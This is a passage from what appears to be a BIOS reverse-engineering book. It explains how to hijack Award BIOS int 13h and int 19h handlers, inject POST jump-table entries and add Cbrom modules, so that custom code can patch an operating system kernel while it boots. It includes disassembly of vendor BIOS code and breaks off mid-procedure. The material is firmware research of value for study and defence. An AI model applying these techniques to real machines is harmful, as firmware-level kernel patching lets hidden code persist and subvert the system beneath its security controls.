 In your custom int 13h "extension" code, you can do whatever you want. As an 
example, you can code your own kernel patcher. But it will likely be so big that there is not 
enough free space in the system BIOS for it. In that case, you can make it execute as a 
separate BIOS module. This can become complex. A theoretical scenario is as follows:6

 
1. Create a new BIOS module that will alter the kernel when it loads to memory. 

This new BIOS module contains the main code of the "extension" to the interrupt 
handler. 

2. Carry out BIOS code injection using the POST jump table. Given the position of 
the BIOS interrupt handler initialization in the POST jump table, inject a new 
POST entry right after the BIOS interrupt handler initialization entry to 

                                                 
6 I haven't tried this method in a real-world situation yet, so the feasibility is unknown. 



decompress your "extension" code and alter the interrupt handler routine to branch 
into the "extension" upon interrupt handler routine execution. Note that the 
"extension" code might need to be placed in memory above the 1-MB barrier 
because you don't have enough free space below that barrier. In that case, you 
have to use an x86 voodoo-mode trick in your injected POST routine code to 
branch to the "extension" code. 

3. Integrate the module to the BIOS binary with Cbrom,7 using the /other switch. 
Nevertheless, pay attention to the LZH header's segment:offset. This element 
must be handled like other compressed BIOS components that are not the system 
BIOS and its extension.8 

 
 Note that Cbrom can compress new BIOS modules and integrate them with the original 
binary by using the /other command line option. By using this option, you can place the 
starting address of the decompressed version of your module upon booting. Actually, this 
switch does nothing to the additional BIOS module other than create the right destination 
segment:offset address in the LZH header of the compressed version of the module that 
you add into the BIOS. Thus, you have to decompress the module by calling the BIOS 
decompression routine in your injected POST jump table routine. From section 5.1.3.4, you 
know that the segment:offset that I'm referring to in this context is fake, because the 
destination address of the decompression is always segment 4000h for an extension 
component in Award BIOS unless some of the bits are set according to the rule explained in 
that section. Figure 12.10 is a screenshot of an older version of Cbrom showing the hint to 
use the /other option. 
 

 
Figure 12.10 Cbrom /other option explanation 

                                                 
7 Various versions of Cbrom can be downloaded from 
http://www.rebelshavenforum.com/sisubb/ultimatebb.php?ubb=get_topic;f=52;t=000004. 
8 Read section 5.1.3.4 about decompression of extension BIOS components. 



 
 Now, proceed to the sample code for decompression of a compressed BIOS component. 
It's shown in listing 12.14. 
 

Listing 12.14 Sample Code for Decompression of a Compressed BIOS Component 

E000:1B08 POST_11S proc near            ; ... 
E000:1B08   call  init_nnoprom_rosupd 
......... 
E000:71C1 init_nnoprom_rosupd proc near ; ... 
E000:71C1   push  ds 
E000:71C2   push  es 
E000:71C3   pushad 
E000:71C5   mov   ax, 0 
E000:71C8   mov   ds, ax 
E000:71CA   assume ds:nothing 
E000:71CA   mov   ds:byte_0_4B7, 0 
E000:71CF   mov   di, 0A0h              ; nnoprom.bin index 
E000:71CF                               ; nnoprom.bin-->4027h; 
E000:71CF                               ; A0h = 4h*(lo_byte(4027h)+1h) 
E000:71D2   call  near ptr decompress_BIOS_component ; Decompress 
E000:71D2                                            ; nnoprom.bin 
E000:71D5   jb    decompression_error 
E000:71D9   push  4000h 
E000:71DC   pop   ds                    ; ds = 4000h; decompression 
E000:71DC                               ; result seg 
E000:71DD   assume ds:nothing 
E000:71DD   xor   si, si 
E000:71DF   push  7000h 
E000:71E2   pop   es                    ; es = 7000h 
E000:71E3   assume es:nothing 
E000:71E3   xor   di, di 
E000:71E5   mov   cx, 4000h 
E000:71E8   cld 
E000:71E9   rep movsd     ; Copy nnoprom decompression result from 
E000:71E9                 ; seg 4000h to seg 7000h 
......... 
 
 Listing 12.14 shows the code for the 11th POST jump table entry, which calls the BIOS 
decompression block routines to decompress an extension component named nnoprom.bin. 
With this sample, you can infer how you should implement your custom routine to 
decompress the "extension" to the interrupt 13h handler if you have to compress it and store 
it as a standalone extension BIOS module. 
 Watch your address space consumption in your custom code. Make sure you don't eat 
up the space that's still being used by other BIOS code upon the execution of your module. 
This can become complex—to the point that it cannot be implemented reliably. This issue 
can be handled by avoiding the interrupt 13h handler and patching the interrupt 19h handler 
instead. 



 You want to patch interrupt 19h handler because when it's being called the machine is 
more than ready to load the operating system; no other hardware initialization needs to be 
carried out. You are free to mess with the BIOS modules. However, you have to watch 
carefully and not alter the BIOS-related data structure in RAM that will be used by the 
operating system, such as the BDA and the read-only BIOS code at segments E000h and 
F000h. Now, let me show you how interrupt 19h handler is implemented in this particular 
BIOS. Look at listing 12.15. 
 

Listing 12.15 Interrupt 19h Handler 

F000:E6F2 goto_bootstrap proc near      ; ... 
F000:E6F2   jmp   bootstrap 
F000:E6F2 goto_bootstrap endp 
......... 
F000:5750 bootstrap proc near           ; ... 
F000:5750   mov   ax, 0 
F000:5753   mov   ds, ax 
F000:5755   assume ds:nothing 
F000:5755   cli 
F000:5756   mov   ds:int_1Eh_vect, 0EFC7h ; System data - diskette 
F000:5756                                 ; parameters (at F000h:EFC7h) 
F000:575C   mov   ds:int_1Eh_vect_contd, cs 
F000:5760   sti 
F000:5761 
F000:5761 try_to_boot:                  ; ... 
F000:5761   xor   dl, dl 
F000:5763   call  near ptr exec_bootstrap 
F000:5766   mov   dl, 1 
F000:5768   call  near ptr exec_bootstrap 
F000:576B   mov   dl, 2 
F000:576D   call  near ptr exec_bootstrap 
F000:5770   mov   ax, 0 
F000:5773   mov   ds, ax 
F000:5775   jmp   try_int_18h 
F000:5775 bootstrap endp 
 
F000:5778 exec_bootstrap proc far       ; ... 
F000:5778   mov   ax, 0 
F000:577B   mov   ds, ax 
F000:577D   mov   al, cs:boot_device_flag 
F000:5781   mov   ds:boot_device_flag_buf, al 
F000:5784   test  ds:boot_device_flag_buf, 8 
F000:5789   jnz   short loc_F000_5792 
F000:578B   and   ds:boot_device_flag_buf, 0FBh 
F000:5790   jmp   short loc_F000_5797 
......... 
F000:5B79 read_partition_table:         ; ... 
F000:5B79   mov   ax, 201h              ; Read one sector 
F000:5B7C   mov   bx, 7C00h             ; Destination buffer offset 
F000:5B7F   mov   cx, 1                 ; Sector 1 (MBR) 



F000:5B82   mov   dx, 80h               ; Read HDD 
F000:5B85   int   13h                   ; DISK - READ SECTORS INTO MEMORY 
F000:5B85                               ; AL = number of sectors to read, 
F000:5B85                               ; CH = track, CL = sector, 
F000:5B85                               ; DH = head, DL = drive, 
F000:5B85                               ; ES:BX -> buffer to fill 
F000:5B85                               ; Return: CF set on error, 
F000:5B85                               ; AH = status, 
F000:5B85                               ; AL = number of sectors read, 
F000:5B87   add   bx, 1BEh              ; bx = partition table 
F000:5B8B 
F000:5B8B chk_next_partition_entry:     ; ... 
F000:5B8B   cmp   word ptr es:[bx], 0AA55h 
F000:5B90   jz    short end_of_mbr 
F000:5B92   test  byte ptr es:[bx], 80h 
F000:5B96   jnz   short bootable_partition_entry_found 
F000:5B98   add   bx, 10h 
F000:5B9B   jmp   short chk_next_partition_entry 
F000:5B9D 
F000:5B9D bootable_partition_entry_found: ; ... 
F000:5B9D   mov   al, es:[bx+5]         ; al = cylinder/head/sector 
F000:5B9D                               ;      address of partition 
F000:5BA1   inc   al 
F000:5BA3   mov   ds:4C6h, al 
F000:5BA6   mov   ax, es:[bx+6] 
F000:5BAA   mov   ds:4C7h, ax 
F000:5BAD   jmp   short end_of_mbr 
......... 
F000:5BCF end_of_mbr:                   ; ... 
F000:5BCF   pop   es 
F000:5BD0   popa 
......... 
F000:5C09   xor   ax, ax 
F000:5C0B   int   13h    ; DISK - RESET DISK SYSTEM 
F000:5C0B                ; DL = drive (if bit 7 is set F000:5C0B, 
F000:5C0B                ; both hard disks and floppy disks are reset) 
F000:5C0D   jb    short not_bootable_media 
F000:5C0F   mov   ax, 201h 
F000:5C12   mov   bx, 0 
F000:5C15   mov   es, bx 
F000:5C17   assume es:nothing 
F000:5C17   mov   bx, 7C00h 
F000:5C1A   mov   cx, 1 
F000:5C1D   xor   dh, dh 
F000:5C1F   int   13h                   ; DISK - READ SECTORS INTO MEMORY 
F000:5C1F                               ; AL = number of sectors to read, 
F000:5C1F                               ; CH = track, CL = sector, 
F000:5C1F                               ; DH = head, DL = drive, 
F000:5C1F                               ; ES:BX -> buffer to fill 
F000:5C1F                               ; Return: CF set on error, 
F000:5C1F                               ; AH = status, 



F000:5C1F                               ; AL = number of sectors read 
F000:5C21   jnb   short boot_sector_read_success 
......... 
F000:5C31 boot_sector_read_success:     ; ... 
F000:5C31   call  is_bootable_media 
F000:5C34   jb    short not_bootable_media 
F000:5C36   mov   al, ds:4C1h 
F000:5C39   and   al, 0Fh 
F000:5C3B   shr   al, 2 
F000:5C3E   cmp   al, 2 
F000:5C40   jz    short loc_F000_5C68 
F000:5C42   cmp   al, 1 
F000:5C44   jnz   short jump_to_bootsect_in_RAM 
......... 
F000:5C81 jump_to_bootsect_in_RAM:      ; ... 
F000:5C81   mov   ax, cs 
F000:5C83   mov   word ptr ds:ptr2reset_code+2, ax 
F000:5C86   pop   ax 
F000:5C87   mov   word ptr ds:ptr2reset_code, ax 
F000:5C8A   jmp   far ptr unk_0_7C00  ; Jump to loaded boot sector in RAM 
F000:5C8A exec_bootstrap endp 
 
 Looking at listing 12.15, you will notice that there are plenty of places to put a branch in 
your custom procedure. In particular, you can divert the bootstrap vector that jumps to 
0000:7C00h to another address—the address of your custom procedure that loads the 
operating system kernel and patches it. Keep in mind that your custom procedure can be 
injected into the free space or padding bytes of the system BIOS, just like the trick you 
learned in section 6.2. 
 Another issue in fusing your "extension" to the BIOS interrupt 19h hander is the need to 
implement the custom procedure as an extension BIOS component if the size of the 
procedure is big enough and it doesn't fit in the free space in the system BIOS. This case 
isn't the same as the one with the interrupt 13h handler, because when interrupt 19h is 
invoked, the BIOS module decompression routine in segment 2000h might already be gone. 
To fight against this issue, you can compress your procedure using LHA level 0 when you 
insert the custom procedure module into the BIOS binary using Cbrom. Thus, the 
procedure won't be compressed and placed as a pure binary component in the overall BIOS 
binary. Now, how do you implement the compression? This part is easy: place a 
decompression routine in the beginning of the module and compress the rest of the module 
after the decompression routine. Upon the first execution of your custom procedure, 
decompress the compressed part. Indeed, this part is quite hard to implement, but it is not 
impossible. My advice is to use an LZH-based compression algorithm, because the 
decompression code will be short. This method is illustrated in figure 12.10. 
 



 
Figure 12.11 Conceptual View of a Compressed Interrupt 19h Handler "Extension" 

 
 Figure 12.11 depicts the implementation of a compressed interrupt 19h extension that's 
explained in the preceding paragraph. Keep in mind that this implementation is specific to 
Award BIOS. 
 There is a slightly confusing fact about vd30728.bin. If you trace the disassembly until 
the ISA POST jump table, you will see that there is IDT initialization. This may surprise 
you, because you may think that this renders unusable the former interrupt vectors 
initialized at POST_8S in the POST jump table. That's not it. Look at listing 12.16; the secret 
lies in the code. 
 

Listing 12.16 Misleading IDT Initialization 

E000:61C2 Begin_E000_POST_Jmp_Table 
E000:61C2 POST_Jmp_Tbl_Start dw offset POST_1S ; ... 
E000:61C2                               ; Restore warm-boot flag 
......... 
E000:61F8   dw offset Start_ISA_POSTs   ; Call ISA POST tests (below) 
E000:61F8 End_E000_POST_Jmp_Table 
......... 
E000:61FE ISA_POST_TESTS 
E000:61FE ISA_POST_Jmp_Tbl_Start dw offset ISA_POST_1S ; ... 
E000:61FE                               ; Display DRAM clock speed; setup 



E000:61FE                               ; IDT/traps/exception handler? 
......... 
E000:249C ISA_POST_1S proc near         ; ... 
......... 
E000:2567   mov   ax, 0 
E000:256A   mov   ds, ax 
E000:256C   call  init_ISA_IDT_n_GDT 
E000:256F   jb    return 
E000:2573   xor   eax, eax 
E000:2576   mov   ax, 10h 
......... 
E000:2640   and   ax, 0FFC0h 
E000:2643   mov   cx, ax 
E000:2645   call  Reinit_IDT_n_Leave_16bit_PMode 
E000:2648   push  0E000h 
E000:264B   push  offset i_am_back 
E000:264E   push  offset locret_F000_EC31 
E000:2651   push  offset nullsub_25 
E000:2654   jmp   far ptr F000_Vector 
E000:2659 ; ------------------------------------------------------------- 
E000:2659 i_am_back:                    ; ... 
E000:2659   mov   [bp+30h], ax 
E000:265C   cmp   cx, ax 
E000:265E   jz    short enable_interrupt 
E000:2660   xor   ecx, ecx 
E000:2663   mov   cx, ax 
E000:2665   mov   [bp+1B6h], ecx 
E000:266A 
E000:266A enable_interrupt:             ; ... 
E000:266A   call  nnoprom_func_8 
E000:266D   sti 
E000:266E   mov   dx, [bp+30h] 
E000:2671   mov   [bp+17h], dx 
E000:2674   call  nullsub_16 
E000:2677 
E000:2677 return:                       ; ... 
E000:2677   xor   ax, ax 
E000:2679   mov   ds, ax 
E000:267B   pop   ds:dword_0_FFFC 
E000:2680   pop   ds:dword_0_FFF8 
E000:2685   clc 
E000:2686   retn 
E000:2686 ISA_POST_1S endp 
......... 
E000:2274 init_ISA_IDT_n_GDT proc near  ; ... 
E000:2274   pushad 
E000:2276   call  F0_Enable_A20 
E000:2279   jb    short exit 
E000:227B   push  cs 
E000:227C   pop   ds 
E000:227D   assume ds:_E000h 



E000:227D   mov   cx, 64 
E000:2280   mov   si, offset ISA_POST_GDT 
E000:2283   mov   ax, 2000h 
E000:2286   mov   es, ax 
E000:2288   assume es:_2000h 
E000:2288   mov   di, 0E000h            ; 2000h:E000h --> destination to 
E000:2288                               ;                 copy GDT 
E000:228B   rep movsw 
E000:228D   mov   di, 0E400h            ; 2000h:E400h --> destination to 
E000:228D                               ;                 copy IDT 
E000:2290   mov   cx, 128               ; Half of the overall IDT entries 
E000:2293   mov   si, offset POST_CODE_B0h_n_disable_paging ; Exception 
E000:2293                                                   ; handler? 
E000:2296   xor   ax, ax 
E000:2298 
E000:2298 next_idt_entry:               ; ... 
E000:2298   mov   es:[di], si 
E000:229B   mov   word ptr es:[di+2], 8 ; Segment selector number one 
E000:229B                               ; (16-bit code segment at segment 
E000:229B                               ; E000h) 
E000:22A1   mov   word ptr es:[di+4], 8F00h ; Segment present, 32-bit 
E000:22A1                               ; TRAP GATE, DPL=0 
E000:22A7   mov   es:[di+6], ax         ; Hi-word of int handler = 0h 
E000:22AB   add   di, 8                 ; di += IDT_entry_size 
E000:22AE   loop  next_idt_entry 
E000:22B0   mov   si, offset IDT_addr 
E000:22B3   lidt  qword ptr [si] 
E000:22B6   mov   si, offset GDT_start 
E000:22B9   lgdt  qword ptr [si] 
E000:22BC   mov   eax, cr0 
E000:22BF   or    al, 1                 ; Set protected mode (PMode) bit 
E000:22C1   mov   cr0, eax 
E000:22C4   jmp   far ptr 8:22C9h       ; Jmp below in 16-bit PMode 
E000:22C9 ; ------------------------------------------------------------- 
E000:22C9   mov   ax, 10h               ; Voodoo-mode descriptor 
E000:22CC   mov   ds, ax 
E000:22CE   assume ds:nothing 
E000:22CE   mov   ss, ax 
E000:22D0   assume ss:nothing 
E000:22D0   mov   gs, ax 
E000:22D2   assume gs:nothing 
E000:22D2   mov   fs, ax 
E000:22D4   assume fs:nothing 
E000:22D4   mov   ax, 18h 
E000:22D7   mov   es, ax                ; es base = 10000h, 16-bit 
E000:22D7                               ; granularity segment 
E000:22D9   assume es:nothing 
E000:22D9   mov   eax, cr0 
E000:22DC   test  al, 1                 ; Check PMode bit 
E000:22DE   jnz   short exit 
E000:22E0   stc 



E000:22E1 
E000:22E1 exit:                         ; ... 
E000:22E1   popad 
E000:22E3   retn 
E000:22E3 init_ISA_IDT_n_GDT endp 
 
E000:22E4 POST_CODE_B0h_n_disable_paging proc far ; ... 
E000:22E4   push  eax 
E000:22E6   push  dx 
E000:22E7   mov   al, 0B0h              ; POST code B0h: Unexpected 
E000:22E7                               ; interrupt in protected mode 
E000:22E9   out   80h, al               ; 
E000:22EB   mov   eax, cr0 
E000:22EE   and   eax, 7FFFFFFFh        ; Reset paging flag 
E000:22F4   mov   cr0, eax 
E000:22F7   pop   dx 
E000:22F8   pop   eax 
E000:22FA   iret 
E000:22FA POST_CODE_B0h_n_disable_paging endp 
......... 
E000:223F GDT_start dw 20h              ; ... 
E000:2241   dd 2E000h 
E000:2245 IDT_addr dw 1024              ; ... 
E000:2247   dd 2E400h 
E000:224B ISA_POST_GDT dq 0             ; ... 
E000:2253   dw 0FFFFh                   ; Segment limit = 0xFFFF 
E000:2255   dw 0                        ; Base address = 0xE0000 
E000:2257   db 0Eh                      ; Base address continued 
E000:2258   dw 9Fh                      ; Granularity = byte; 
E000:2258                               ; 16-bit segment; 
E000:2258                               ; code segment; 
E000:225A   db 0                        ; Base address continued 
E000:225B   dw 0FFFFh                   ; Segment limit = 0xFFFFF 
E000:225D   dw 0                        ; Base address = 0x0 
E000:225F   db 0                        ; Base address continued 
E000:2260   dw 8F93h                    ; Granularity = 4 KB; 
E000:2260                               ; 16-bit segment; 
E000:2260                               ; Data segment; 
E000:2262   db 0                        ; Base address continued 
E000:2263   dw 0FFFFh                   ; Segment limit = 0xFFFF 
E000:2265   dw 0                        ; Base address = 0x10000 
E000:2267   db 1                        ; Base address continued 
E000:2268   dw 93h                      ; Granularity = byte; 
E000:2268                               ; 16-bit segment; 
E000:2268                               ; Data segment; 
E000:226A   db 0                        ; Base address continued 
......... 
E000:22FC Reinit_IDT_n_Leave_16bit_PMode proc near ; ... 
E000:22FC   push  eax 
E000:22FE   push  esi 
E000:2300   mov   ax, ds 



E000:2302   mov   es, ax 
E000:2304   assume es:nothing 
E000:2304   mov   gs, ax 
E000:2306   mov   fs, ax 
E000:2308   cli 
E000:2309   mov   eax, cr0 
E000:230C   and   eax, 7FFFFFFEh    ; Disable paging and protected mode 
E000:2312   mov   cr0, eax 
E000:2315   jmp   far ptr leave_voodoo_mode 
E000:231A 
E000:231A leave_voodoo_mode: 
E000:231A   mov   ax, cs 
E000:231C   mov   ds, ax 
E000:231E   assume ds:_E000h 
E000:231E   mov   si, offset ISA_Real_Mode_IDT 
E000:2321   lidt  qword ptr [si] 
E000:2324   xor   ax, ax 
E000:2326   mov   ds, ax 
E000:2328   assume ds:nothing 
E000:2328   mov   es, ax 
E000:232A   assume es:nothing 
E000:232A   mov   ss, ax 
E000:232C   assume ss:nothing 
E000:232C   push  0E000h 
E000:232F   push  offset return 
E000:2332   push  offset locret_F000_EC31 
E000:2335   push  offset disable_A20    ; disable_A20 
E000:2338   jmp   far ptr F000_Vector 
E000:233D ; ------------------------------------------------------------- 
E000:233D return:                       ; ... 
E000:233D   pop   esi 
E000:233F   pop   eax 
E000:2341   retn 
E000:2341 Reinit_IDT_n_Leave_16bit_PMode endp 
......... 
E000:226C ISA_Real_Mode_IDT dw 400h     ; ... 
E000:226E   dd 0                        ; Original BIOS interrupt vector 
 
 
 As you can see in listing 12.16, the IDT is indeed used during ISA_POST_1S. But after 
it's used, the processor's interrupt-related registers are restored to the original BIOS 
interrupt vectors that start at address 0000:0000h. This is shown clearly in the 
Reinit_IDT_n_Leave_16bit_PMode procedure. Thus, you have to be aware of such a trick 
that might fool you. Note that I do not provide any binary signature for the interrupt handler 
in Award BIOS because you should be able to do it yourself after reading the book this far. 
 
 
12.2.2. Hijacking Award BIOS 6.00PG Interrupt Handlers 
 



 I'm not going to explain many things in this subsection because Award BIOS 6.00PG is 
similar to version 4.51. I will only provide the disassembly source code to show you how 
similar they are. Because of this similarity, all methods explained in the previous 
subsection are applicable to Award BIOS 6.00PG. The good news is that Award BIOS 
6.00PG contains relatively more free space than its older sibling does. 
 In this section, I'll show the disassembly of Foxconn 955X7AA-8EKRS2 BIOS dated 
November 11, 2005. You worked with this file in chapter 5, in the Award BIOS reverse 
engineering section. Now, let me show you the PIC initialization code in the boot block. 
The disassembly is shown in listing 12.17. 
 

Listing 12.17 PIC Initialization in the Foxconn 955X7AA-8EKRS2 Boot Block 

F000:E2AC Initialize basic I/O chips: programmable interval timer, PIC, 
etc. 
F000:E2AC   mov   ax, 0F000h 
F000:E2AF   mov   ds, ax 
F000:E2B1   mov   si, offset IO_port_start 
F000:E2B4   mov   cx, 32 
F000:E2B7   cld 
F000:E2B8 next_IO_port:          ; CODE XREF: F000:E2C1h 
F000:E2B8   lodsw 
F000:E2B9   mov   dx, ax 
F000:E2BB   lodsb 
F000:E2BC   out   dx, al 
F000:E2BD   jmp   short $+2 
F000:E2BF   jmp   short $+2 
F000:E2C1   loop  next_IO_port 
......... 
F000:E7C1 IO_port_start dw 3B8h  ; ... 
F000:E7C1                        ; I/O port address 
F000:E7C3   db 1                 ; Value to write 
......... 
F000:E806   dw 20h               ; Master PIC base register 
F000:E808   db 11h               ; Master PIC ICW1; will be sending ICW4 
F000:E809   dw 21h               ; Master PIC base+1 register 
F000:E80B   db 8                 ; Master PIC ICW2; point to 8th ISR 
F000:E80B                        ; vector for IRQs in master PIC 
F000:E80C   dw 21h               ; Master PIC base+1 register 
F000:E80E   db 4                 ; Master PIC ICW3; IRQ2 connected to the 
F000:E80E                        ; slave PIC 
F000:E80F   dw 21h               ; Master PIC base+1 register 
F000:E811   db 1                 ; Master PCI ICW4; 8086 mode 
F000:E812   dw 21h               ; Master PIC base+1 register 
F000:E814   db 0FFh              ; OCW1: disable all IRQs in master PIC 
F000:E815   dw 0A0h              ; Slave PIC base register 
F000:E817   db 11h               ; Slave PIC ICW1; will be sending ICW4 
F000:E818   dw 0A1h              ; Slave PIC base+1 register 
F000:E81A   db 70h               ; Slave PIC ICW2; point to 70h-th ISR 
F000:E81A                        ; vector for IRQs in slave PIC 



F000:E81B   dw 0A1h              ; Slave PIC base+1 register 
F000:E81D   db 2                 ; Slave PIC ICW3; slave ID = 2 
F000:E81E   dw 0A1h              ; Slave PIC base+1 register 
F000:E820   db 1                 ; Slave PIC ICW4: 8086 
F000:E821   dw 0A1h              ; Slave PIC base+1 register 
F000:E823   db 0FFh              ; OCW1: disable all IRQs in slave PIC 
......... 
 
 Look carefully at listing 12.17 and compare it with listing 12.11. You can see that the 
code is similar. This code must have been inherited from Award BIOS 4.51PG base code 
by Award BIOS 6.00PG code. I don't need to explain it in detail because you can easily 
grasp it from the explanation in the previous subsection. 
 Now, let me proceed to the system BIOS disassembly to find the interrupt handlers. 
Start with the Foxconn 955X7AA-8EKRS2 POST jump table entries and the call to 
initialize the interrupt vectors. It is shown in listing 12.18. 
 

Listing 12.18 POST Jump Table and Call to Interrupt Vectors Initialization Procedure 

E000:740B Begin POST Jump Table 
E000:740B   dw offset POST_1S    ; Decompress awardext.rom 
E000:740D   dw offset POST_2S    ; _ITEM.BIN and _EN_CODE.BIN 
E000:740D                        ; decompression (with relocation) 
E000:740F   dw offset POST_3S 
E000:7411   dw offset nullsub_3  ; Dummy procedure 
......... 
E000:743F   dw offset POST_27S   ; Initialize interrupt vectors 
......... 
E000:7535 End POST Jump Table 
......... 
E000:24B0 
E000:24B0 ; POST_27_S - initialize interrupt vectors 
E000:24B0 
E000:24B0 POST_27S proc near 
E000:24B0   cli 
E000:24B1   mov   ax, 0F000h 
E000:24B4   mov   ds, ax 
E000:24B6   assume ds:F000 
E000:24B6   cld 
E000:24B7   xor   di, di 
E000:24B9   mov   es, di         ; es = 0 
E000:24BB   assume es:nothing 
E000:24BB   mov   ax, 0F000h 
E000:24BE   shl   eax, 10h 
E000:24C2   mov   ax, offset default_ivect_handler 
E000:24C5   mov   ecx, 78h 
E000:24CB   rep stosd 
E000:24CE   mov   ax, offset PIC_ISR_n_IRR_HouseKeeping 
E000:24D1   mov   di, 140h 
E000:24D4   stosd 
E000:24D6   mov   cx, 32         ; First 32 interrupt vectors 



E000:24D9   mov   ax, 0F000h 
E000:24DC   mov   si, offset ivects_start 
E000:24DF   xor   di, di         ; di = 0 
E000:24E1   xchg  bx, bx 
E000:24E3   nop 
E000:24E4 
E000:24E4 next_ivect_entry: 
E000:24E4   movsw 
E000:24E5   stosw 
E000:24E6   loop  next_ivect_entry 
E000:24E8   cmp   word ptr [si-2], 0 
E000:24EC   jnz   short init_slave_irq_handler 
E000:24EE   mov   word ptr es:[di-2], 0 
E000:24F4 
E000:24F4 init_slave_irq_handler: ; ... 
E000:24F4   mov   cx, 8 
E000:24F7   mov   si, offset irq_7_handler 
E000:24FA   mov   di, 1C0h 
E000:24FD   xchg  bx, bx 
E000:24FF   nop 
E000:2500 
E000:2500 next_ivect:            ; ... 
E000:2500   movsw 
E000:2501   stosw 
E000:2502   loop  next_ivect 
E000:2504   mov   di, 180h 
E000:2507   mov   ecx, 8 
E000:250D   xor   eax, eax 
E000:2510   rep stosd 
......... 
E000:2524   clc 
E000:2525   retn 
E000:2525 POST_27S endp 
......... 
F000:FEE3 ivects_start dw offset default_ivect_handler ; ... 
F000:FEE3                        ; Interrupt 0h handler 
......... 
F000:FF09   dw offset goto_int_13h_handler ; Interrupt 13h handler 
......... 
F000:FF23 irq_7_handler dw offset sub_F000_A900  ; ... 
F000:FF23                        ; Interrupt 70h handler 
......... 
F000:FF2F   dw offset PIC_ISR_n_IRR_HouseKeeping ; Interrupt 76h handler 
F000:FF31   dw offset PIC_ISR_n_IRR_HouseKeeping ; Interrupt 77h handler 
 
 As you can see in listing 12.18, the interrupt vectors initialization is almost an exact 
copy of the Award BIOS 4.51PG code that's shown in listing 12.12. The fundamental 
difference is in the POST jump table entry number; in the code for listing 12.18, the 
initialization is carried out by POST routine at entry 27. There is also a difference not 
shown in the listings: there is no ISA POST jump table in Award BIOS 6.00PG code, only 
one long POST jump table. 



 Consider the next listing. 
 

Listing 12.19 Foxconn 955X7AA-8EKRS2 Interrupt 13h Handler 

F000:EC59 goto_int_13h_handler proc near ; ... 
F000:EC59   jmp   near ptr int_13h_handler 
F000:EC59 goto_int_13h_handler endp 
......... 
F000:86B9 int_13h_handler proc far       ; ... 
F000:86B9   call  sub_F000_881A 
F000:86BC   jb    short loc_F000_86C1 
F000:86BE   retf  2 
F000:86C1 ; ------------------------------------------------------------- 
F000:86C1 loc_F000_86C1:                 ; ... 
F000:86C1   cmp   dl, 80h 
F000:86C4   jb    short loc_F000_86C9 
......... 
F000:8810 return:                        ; ... 
F000:8810   pop   ax 
F000:8811   pop   di 
F000:8812   pop   es 
F000:8813   assume es:nothing 
F000:8813   pop   ds 
F000:8814   assume ds:nothing 
F000:8814   pop   si 
F000:8815   iret 
F000:8816 ; ------------------------------------------------------------- 
F000:8816 set_flag:                      ; ... 
F000:8816   mov   ah, 1 
F000:8818   jmp   short loc_F000_87BF 
F000:8818 int_13h_handler endp 
 
 Listing 12.19 shows the interrupt 13h handler. It's quite similar in some respects to the 
code in Award 4.51PG shown in the previous subsection. 
 The last and most interesting handler is the one for interrupt 19h. It's shown in listing 
12.20. 
 

Listing 12.20 Foxconn 955X7AA-8EKRS2 Interrupt 19h Handler 

F000:E6F2 goto_int_19h_handler proc near ; ... 
F000:E6F2   jmp   near ptr int_19h_handler 
F000:E6F2 goto_int_19h_handler endp 
......... 
F000:2C88 int_19h_handler proc far       ; ... 
F000:2C88 
F000:2C88   mov   ax, 0 
F000:2C8B   mov   ds, ax 
F000:2C8D   assume ds:nothing 
F000:2C8D   xor   ax, ax 



F000:2C8F   mov   ss, ax 
F000:2C91   assume ss:nothing 
F000:2C91   mov   sp, 3FEh 
F000:2C94   cmp   word ptr ds:469h, 0F000h 
F000:2C9A   jnz   short prepare_bootstrap 
F000:2C9C   mov   sp, ds:467h 
F000:2CA0   retf 
F000:2CA1 ; ------------------------------------------------------------- 
F000:2CA1 prepare_bootstrap:             ; ... 
F000:2CA1   cli 
F000:2CA2   mov   word ptr ds:78h, offset unk_F000_EFC7 
F000:2CA8   mov   word ptr ds:7Ah, cs 
F000:2CAC   sti 
F000:2CAD   call  sub_F000_C93E 
F000:2CB0 
F000:2CB0 try_exec_bootstrap_again:      ; ... 
F000:2CB0   and   byte ptr ds:4A1h, 0DFh 
F000:2CB5   mov   di, 1 
F000:2CB8   mov   al, byte ptr cs:word_F000_2E8E 
F000:2CBC   and   al, 0Fh 
F000:2CBE   call  exec_bootstrap 
F000:2CC1   mov   di, 2 
F000:2CC4   mov   al, byte ptr cs:word_F000_2E8E 
F000:2CC8   shr   al, 4 
F000:2CCB   call  exec_bootstrap 
F000:2CCE   mov   di, 3 
F000:2CD1   mov   al, byte ptr cs:word_F000_2E8E+1 
F000:2CD5   and   al, 0Fh 
F000:2CD7   call  exec_bootstrap 
F000:2CDA   mov   al, byte ptr cs:word_F000_2E8E+1 
F000:2CDE   rol   al, 4 
F000:2CE1   call  sub_F000_2CE7 
F000:2CE4   jmp   exec_int_18h_handler 
F000:2CE4 int_19h_handler endp 
......... 
F000:2D4F exec_bootstrap proc near       ; ... 
F000:2D4F   mov   si, 4A1Bh 
F000:2D52   push  cs 
......... 
F000:2DB3   call  sub_F000_2E9E 
F000:2DB6   jnb   short jmp2bootstrap_vector 
......... 
F000:2DD4 jmp2bootstrap_vector:          ; ... 
F000:2DD4   push  cs 
F000:2DD5   push  offset loc_F000_2DBA 
F000:2DD8   mov   ax, cs 
F000:2DDA   mov   ds:469h, ax 
F000:2DDD   mov   ds:467h, sp 
F000:2DE1   jmp   far ptr 0:7C00h        ; Jump to start bootstrap vector 
F000:2DE1 exec_bootstrap endp 
 



 The basic code flow of the interrupt 19h handler in Listing 12.20 is similar to that of the 
same handler in Award BIOS 4.51PG code. However, the details differ because Award 
BIOS 6.00PG code supports more boot devices than its older sibling does. 
 The preceding explanation implies that when you are modifying the interrupt handler 
you are working with the system BIOS because the interrupt handler is located there. There 
is an issue in the newer Award BIOS 6.00PG. This BIOS cannot be modified with modbin 
version 2.01.01 as explained in chapter 6 because even if you alter the temporary system 
BIOS file that's decompressed by modbin when it's opening a BIOS binary, modbin won't 
include the changes in the output binary file. It will use the original (unmodified) system 
BIOS. However, there is a workaround for that. The basic principle of this workaround is to 
compress the modified system BIOS by using Cbrom and adding it to the overall BIOS 
binary as the "other" component that will be decompressed to segment 5000h when the 
BIOS executes.9 The details of this method are as follows: 
 

1. Suppose that the name of the overall BIOS binary file is 865pe.bin and the name 
of the system BIOS file is system.bin. In this step, I assume that you have 
modified system.bin. You can obtain the original system.bin by opening 865pe.bin 
with modbin, copy the temporary system BIOS to a new file named system.bin, 
and subsequently modify it. 

2. Extract all components of 865pe.bin except the system BIOS and place them in a 
temporary directory by using the suitable Cbrom command. For example, to 
